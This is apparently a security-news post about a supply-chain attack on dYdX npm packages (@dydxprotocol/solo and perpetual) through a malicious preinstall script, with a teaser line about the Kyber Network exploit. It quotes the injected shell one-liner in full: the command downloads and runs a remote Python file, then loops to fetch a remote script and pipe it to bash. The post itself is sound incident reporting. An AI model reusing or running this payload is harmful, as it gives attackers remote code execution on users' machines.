How Was the Kyber Network Exploited?
Learn how Kyber Network was exploited across multiple chains, resulting in a loss of $48.3 million.
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dydx a decentralized exchange suffered an attack due to the injection of a preinstall script.
dYdX is a decentralized exchange platform that provides perpetual trading options for more than 35 cryptocurrencies, including Bitcoin (BTC) and Ether (ETH).
@dydxprotocol/solo Affected versions: >= 0.41.1, <= 0.41.2 @dydxprotocol/perpetual Affected versions: >= 1.2.2, <= 1.2.3
curl http://18.104.22.168/setup.py --output 12345.py >> /dev/null 2>&1 && python3 12345.py && rm 12345.py && if pgrep -f '22.214.171.124' > /dev/null; then pkill -f '126.96.36.199'; fi && (set +m; bash -c 'while sleep 10; do outtime=$(curl -s http://188.8.131.52/time.js); sleep $outtime; curl -s http://184.108.40.206/install.js | bash; done' &) >> /dev/null 2>&1
The team announced on Twitter that the releases of these vulnerable packages were quickly removed and that all funds were safe. This attack had no effect on their smart contracts, and their web applications were intact. The team has since then archived one of the associated GitHub repositories relating to this exploit.
The extreme consequences of such supply chain attacks can be potentially catastrophic. If an attacker is able to gain write access to publish a newer version of the package, they will be able to inject malicious code into its newer releases. All the dependent projects that upgrade to this infected version are the first to be exploited.
Strict cyber hygiene must be practiced, and blockchain teams should adhere to a platform that monitors the libraries served within the organization. It is recommended that package maintainers use two-factor authentication in order to interact with their preferred open source registries.
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